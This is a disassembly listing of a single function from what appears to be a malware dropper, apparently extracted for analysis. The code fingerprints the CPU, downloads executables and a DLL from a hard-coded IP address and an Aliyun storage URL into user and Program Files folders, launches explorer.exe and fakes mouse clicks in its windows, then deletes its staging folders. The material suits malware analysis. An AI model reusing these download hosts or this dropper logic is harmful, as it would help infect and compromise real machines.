Function at 0x403baa
Capabilities:
Check if file exists
Create directory
Create process on windows
Get file attributes
Schedule task via at

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [0x4204c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.____________
lea edi, [ebp - 0x3a0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
cpuid
mov dword [ebp - 0x3a0], ebx
mov dword [ebp - 0x39c], edx
mov dword [ebp - 0x398], ecx
mov eax, 1
xor edx, edx
cpuid
mov dword [ebp - 0x364], edx
mov dword [ebp - 0x360], eax
mov esi, dword [ebp - 0x360]
add esi, dword [ebp - 0x364]
mov eax, 3
xor ecx, ecx
xor edx, edx
cpuid
mov dword [ebp - 0x364], edx
mov dword [ebp - 0x360], ecx
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x360]
add eax, dword [ebp - 0x364]
add eax, esi
push eax
lea eax, [ebp - 0x18]
push str._08X
push eax
call fcn.004012af
add esp, 0xc
push 9
mov edi, str.178F02C0
lea esi, [ebp - 0x18]
pop ecx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403c6d
lea eax, [ebp - 0x18]
push eax
push 0x41abf0
jmp 0x403c8e
push 9
pop ecx
xor eax, eax
mov edi, str.17CF02E3
lea esi, [ebp - 0x18]
repe cmpsb byte [esi], byte es:[edi]
lea eax, [ebp - 0x18]
push eax
jne 0x403c89
push str.360
jmp 0x403c8e
push 0x41abc8
call fcn.00407aeb
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop ecx
pop ecx
mov esi, str.C:Program_Files__x86__
push esi
mov dword [ebp - 0x37c], str.http:__216.83.40.187:12471_client.exe
mov dword [ebp - 0x378], str.https:__ttttuuu.oss_cn_beijing.aliyuncs.com_protocolhandler.exe.lnk
mov dword [ebp - 0x374], str.http:__216.83.40.187:12471_protocolhandler.exe
mov dword [ebp - 0x370], str.http:__216.83.40.187:12471_MSOHEV.DLL
mov dword [ebp - 0x36c], str.http:__216.83.40.187:12471_gpt.kfc
mov dword [ebp - 0x390], 0x41a960
mov dword [ebp - 0x38c], str.C:Program_Fileslasterprotocolhandler.exe.lnk
mov dword [ebp - 0x388], str.C:Usersprotocolhandler.exe
mov dword [ebp - 0x384], str.C:UsersMSOHEV.DLL
mov dword [ebp - 0x380], str.C:Usersgpt.kfc
call edi
xor ebx, ebx
cmp eax, 0xffffffff
je 0x403d12
test al, 0x10
jne 0x403d37
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x403d37
push str.Failed_to_create_base_directory._n
push 0x421a38
call fcn.00402a1d
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x404019
mov esi, 0x41a7e8
push esi
call edi
mov dword [ebp - 0x368], eax
cmp eax, 0xffffffff
je 0x403d4e
test al, 0x10
jne 0x403d61
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x403d61
push str.Failed_to_create_target_directory._n
jmp 0x403d23
mov esi, str.C:Program_Fileslaster
push esi
call edi
cmp dword [ebp - 0x368], 0xffffffff
je 0x403d76
test al, 0x10
jne 0x403d89
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x403d89
push str.Failed_to_create_directory._n
jmp 0x403d23
xor edi, edi
mov eax, dword [ebp + edi - 0x390]
mov ecx, dword [ebp + edi - 0x37c]
push eax
push ecx
call fcn.004038e5
pop ecx
pop ecx
test al, al
je 0x403def
push 0x41a5d4
push dword [ebp + edi - 0x390]
push str._to
push dword [ebp + edi - 0x37c]
push str.Downloaded
push 0x421928
call fcn.00402a1d
pop ecx
pop ecx
push eax
call fcn.00402a1d
pop ecx
pop ecx
push eax
call fcn.00402a1d
pop ecx
pop ecx
push eax
call fcn.00402a1d
pop ecx
pop ecx
push eax
call fcn.00402a1d
pop ecx
pop ecx
add edi, 4
cmp edi, 0x14
jl 0x403d8b
xor edi, edi
push 3
push dword [ebp + edi*4 - 0x390]
push dword [ebp + edi*4 - 0x37c]
call fcn.00403ad6
add esp, 0xc
test al, al
je 0x404028
inc edi
cmp edi, 5
jl 0x403df9
push ebx
push 0x41a960
call fcn.00402e6c
pop ecx
pop ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x41a7e8
call fcn.004011b2
pop ecx
test al, al
jne 0x403e57
push str.Failed_to_delete_directory_and_contents._n
push 0x421a38
call fcn.00402a1d
pop ecx
pop ecx
push 0xc
pop ecx
push 0x12
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, str.explorer.exe_C:Program_Fileslaster
lea edi, [ebp - 0x94]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, 0x41a688
push edi
mov esi, 0x100
lea eax, [ebp - 0x35c]
push esi
push eax
call fcn.00406c12
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x35c]
push esi
push eax
call fcn.00406c75
push edi
lea eax, [ebp - 0x35c]
push esi
push eax
call fcn.00406c75
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x3dc]
push ebx
push eax
call fcn.00406a00
lea eax, [ebp - 0x48]
mov dword [ebp - 0x3c8], eax
add esp, 0x30
lea eax, [ebp - 0x3dc]
push eax
mov dword [ebp - 0x3dc], esi
mov dword [ebp - 0x3d8], 0x40
mov dword [ebp - 0x3d0], str.open
mov dword [ebp - 0x3cc], 0x41a230
mov dword [ebp - 0x3c0], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.USER32.dll_FindWindowW]
push str.laster
push ebx
call edi
mov esi, eax
cmp esi, ebx
jne 0x403f2b
lea eax, [ebp - 0x48]
push eax
push ebx
call edi
mov esi, eax
cmp esi, ebx
je 0x403f43
push 0x41a664
push 0x421928
call fcn.00402a1d
push eax
call fcn.004038cb
add esp, 0xc
push 0x81
push ebx
push ebx
push ebx
push ebx
push 1
push esi
call dword [sym.imp.USER32.dll_SetWindowPos]
push ebx
push str.ShellTabWindowClass
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExW]
call esi
push ebx
push str.DUIViewWndClassName
push ebx
push eax
call esi
push ebx
push str.DirectUIHWND
push ebx
push eax
call esi
mov esi, eax
push 0x64
lea eax, [ebp - 0x15c]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
push ebx
push 0x401145
push esi
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov esi, dword [sym.imp.USER32.dll_PostMessageW]
mov edi, 0x2b001e
push edi
push ebx
push 0x201
push dword [0x421780]
call esi
push edi
push ebx
push 0x202
push dword [0x421780]
call esi
push edi
push ebx
push 0x201
push dword [0x421780]
call esi
push edi
push ebx
push 0x202
push dword [0x421780]
call esi
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push str.C:Usersprotocolhandler.exe
call fcn.00402e6c
push str.C:Program_Fileslaster
call fcn.004011b2
add esp, 0xc
test al, al
jne 0x404017
push str.Failed_to_delete_directory_and_contents._n
push 0x421a38
call fcn.00402a1d
pop ecx
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004069e7
leave
ret
push str._after_multiple_attempts._n
push dword [ebp + edi*4 - 0x37c]
push str.Failed_to_download
push 0x421a38
call fcn.00402a1d
pop ecx
pop ecx
push eax
call fcn.00402a1d
pop ecx
pop ecx
push eax
jmp 0x403d28